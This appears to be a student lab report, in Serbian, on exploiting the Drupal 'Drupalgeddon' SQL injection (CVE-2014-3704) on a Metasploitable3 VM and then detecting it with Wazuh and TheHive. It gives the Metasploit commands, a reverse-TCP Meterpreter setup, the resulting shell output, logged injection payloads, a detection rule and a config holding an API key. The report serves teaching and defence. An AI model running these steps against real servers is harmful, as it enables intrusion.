

Eksploatacija ranjivosti, detekcija, i Incident Response izveštaj

Ime studenta:

Datum:

Pregled Ranjivosti

Za svaku eksploatisanu ranjivost:

1. CVE-2014-3704

1.1 Informacije o ranjivosti

ID ranjivosti (CVE): CVE-2014-3704

Pogođen servis: Drupal

CVSS ocena: 7.5

Severity: High

Opis ranjivosti: Funkcija expandArguments u API-ju za apstrakciju baze podataka u Drupal core 7.x pre 7.32 ne koristi prepared statements, što omogućava udaljenim napadačima da sprovedu SQL injection napad preko niza koji sadrži napravljene ključeve.

1.2 Opis eksploita

Izvor eksploita: Metasploit (multi/http/drupa_drupaggedon)

Metod eksploatacije:

Exploit koristi SQL injection da u drupal cache ubaci malicioznu formu koju kasnije preko POP lanca priprema za izvršavanje i kasnije POST zahtevom je izvršava.

Proces Eksploatacije

Za svaku eksploatisanu ranjivost:

2.1 Podešavanje exploita

Ranjiv cilj: Cilj je bio Metasploitable3 virtualna mašina. Potrebno je da instalirana verzija Drupal core bude ispod 7.2 i da servis bude pokrenut.

Alati za eksploataciju: Metasploit

2.2 Koraci eksploatacije

Link do repozitorijuma sa exploitom: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/drupal_drupageddon.rb

Nakon što smo podesili Metasploitable3 virtualnu mašinu (detalji u prošloj sekciji) potrebno je pokrenuti Metasploit command line tool na host mašini. Zatim se pokreću sledeće komande: search drupal > use multi/http/drupal_drupageddon > options > set rhost 192.168.1.105 > set targeturi /drupal/ > exploit

Exploit preko POST zahteva iskoristi SQL injection i u tabelu form_cache ubaci malicioznu formu koja sadrzi php kod za base64 dekodiranje komandi. Onda se koristi POP chain da se forma dovede na mesto za izvršavanje u kesu. Nakon toga exploit koristi POST zahtev da izvrši php kod iz forme.

```
Module options (exploit/multi/http/drupal_drupageddon):
```

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.1.105	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/drupal/	yes	The target URI of the Drupal installation
VHOST		no	HTTP server virtual host

```

Payload options (php/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.1.102    yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0    Drupal 7.0 - 7.31 (form-cache PHP injection method)
```

2.3 Rezultat eksploatacije

Prikažite rezultate eksploatacije:

```
[*] 192.168.1.105 - Meterpreter session 5 closed. Reason: User exit
msf6 exploit(multi/http/drupal_drupageddon) > exploit

[*] Started reverse TCP handler on 192.168.1.102:4444
[*] Sending stage (40004 bytes) to 192.168.1.105
[*] Meterpreter session 6 opened (192.168.1.102:4444 -> 192.168.1.105:38003) at 2024-12-08 20:48:46 +0100

meterpreter > shell
Process 23482 created.
Channel 0 created.
whoami
www-data
```

Detekcija Korišćenjem Wazuh SIEM-a

Za svaku eksploatisanu ranljivost:

3.1 Wazuh SIEM pravila

Pravila korišćena za detekciju:

ID pravila: 100104

Opis: Atribut regex traži unose u iz log fajla koji sadrže tekst koji predstavlja SQL injection napad. Detektuje se ubacivanje podataka u form_cache tabelu. Id pravila predstavlja jedinstveni identifikator, dok level predstavlja nivo opasnosti koju definisani napad predstavlja. Level 15 kreira high severity alert. Group atributi predstavljaju oznake koje će alert da dobije nakon kreiranja. Koristi se za filtriranje.

```
<rule id="100104" level="15">
  <regex>name%5b0%3bINSERT%20INTO%20%7bcache_form%7</regex>
  <description>Drupal attack detected</description>
  <group>drupal,</group>
</rule>
```

3.2 Konfiguracija SIEM-a

Podešavanje Wazuh agenta:

Na target mašini je instaliran Wazuh-Agent i podešena je env varijabla (**WAZUH_MANAGER="192.168.1.104" apt-get install wazuh-agent**) koja kreira vezu između agenta i Wazuh Manager-a.

```
Terminal - root@metasploitable3-ub1404: ~
File Edit View Terminal Tabs Help
Setting up systemd-services (204-5ubuntu20.31) ...
Installing new version of config file /etc/systemd/logind.conf ...
Setting up libpam-systemd:amd64 (204-5ubuntu20.31) ...
Installing new version of config file /etc/init/systemd-logind.conf ...
systemd-logind start/running, process 9388
Setting up libsystemd-login0:amd64 (204-5ubuntu20.31) ...
Setting up init-system-helpers (1.14ubuntu1) ...
Setting up systemd (204-5ubuntu20.31) ...
Initializing machine ID from D-Bus machine ID.
systemd start/running, process 9438
Processing triggers for libc-bin (2.19-0ubuntu6) ...
Processing triggers for ureadahead (0.100.0-16) ...
root@metasploitable3-ub1404:~# systemctl daemon-reload
root@metasploitable3-ub1404:~# systemctl enable wazuh-agent
Failed to issue method call: No such file or directory
root@metasploitable3-ub1404:~# /var/ossec/bin/wazuh-control start
Starting Wazuh v4.9.2...
Started wazuh-execd...
Started wazuh-agentd...
Started wazuh-syscheckd...
Started wazuh-logcollector...
Started wazuh-modulesd...
Completed.
root@metasploitable3-ub1404:~#
```

Prikupljanje logova:

Prikupljaju se logovi generisani pomocu tcpdump:

```
/var/log/unrealircd log.txt
```

3.3 Proces detekcije

Opišite proces detekcije:

Primetiti sledeci log koji sadrzi INSERT INTO form_cache kljucne karaktere za SQLi napad.

[illegible]

```
> Dec 8, 2024 @ 20:48:46.571 input.type: log agent.ip: 192.168.1.105 agent.name: metasploitable3-ub1404 agent.id: 001 manager.name: vlada-VirtualBox
rule.firedtimes: 2 rule.mail: true rule.level: 15 rule.description: Drupal attack detected rule.groups: local, syslog, sshd, drupal
rule.id: 100104 location: /var/log/unrealircd_log.txt id: 1733687326.43050 full_log: form_id=user_login&form_build_id=&name=5b0%3bINSERT%20INTO%20%7bcache_form%7d%20%28cid%2c%20data%2c%20expire%2c%20created%2c%20serialized%29%20VALUES%20%28%27form_state_form-b
hGkoASCRhqG1sSXEr640QSaPwnYcgZvLxP891emBy%27%2c%20REPLACE%28REPLACE%28%27a%3a1%3aWEjRcZmUs%3a10%3a%22build_info%22%3ba%3a1%3aWEjRcZmU

> Dec 8, 2024 @ 20:48:46.555 input.type: log agent.ip: 192.168.1.105 agent.name: metasploitable3-ub1404 agent.id: 001 manager.name: vlada-VirtualBox
rule.firedtimes: 1 rule.mail: true rule.level: 15 rule.description: Drupal attack detected rule.groups: local, syslog, sshd, drupal
rule.id: 100104 location: /var/log/unrealircd_log.txt id: 1733687326.39759 full_log: form_id=user_login&form_build_id=&name=5b0%3bINSERT%20INTO%20%7bcache_form%7d%20%28cid%2c%20data%2c%20expire%2c%20created%2c%20serialized%29%20VALUES%20%28%27form_state_form-b
hGkoASCRhqG1sSXEr640QSaPwnYcgZvLxP891emBy%27%2c%20REPLACE%28REPLACE%28%27a%3a1%3aWEjRcZmUs%3a10%3a%22build_info%22%3ba%3a1%3aWEjRcZmU
```

Podaci o detektovanom napadu unutar Wazuh interfejsa

Incident Response sa The Hive-om

4.1 Podešavanje integracije

Opis integracije:

Za povezivanje Wazuh-a i TheHive-a ispraćen je tutorijal sa sledećeg linka:

<https://wazuh.com/blog/using-wazuh-and-thehive-for-threat-protection-and-incident-response/>

```
vlada@vlada-VirtualBox: ~/thehive/docker/prod1-thehive x root@vlada-VirtualBox: /var/ossec/etc
GNU nano 7.2 ossec.conf
<alerts_log>yes</alerts_log>
<logall>no</logall>
<logall_json>no</logall_json>
<email_notification>no</email_notification>
<smtp_server>smtp.example.wazuh.com</smtp_server>
<email_from>wazuh@example.wazuh.com</email_from>
<email_to>recipient@example.wazuh.com</email_to>
<email_maxperhour>12</email_maxperhour>
<email_log_source>alerts.log</email_log_source>
<agents_disconnection_time>10m</agents_disconnection_time>
<agents_disconnection_alert_time>0</agents_disconnection_alert_time>
<update_check>yes</update_check>
</global>
<integration>
  <name>custom-w2thive</name>
  <hook_url>http://127.0.0.1:9000</hook_url>
  <api_key>qSq4AoC4wgV4tNHqIq9uxB3KH+uD6hY3</api_key>
  <alert_format>json</alert_format>
</integration>
<alerts>
```

Integracija pravila:

Nakon kreiranog alerta u Wazuh-u, pojavio se alert unutar TheHive-a. Nakon toga potrebno je kliknuti na alert i otvoriti slučaj. Ispod se nalaze screenshot-ovi TheHive alert-a.

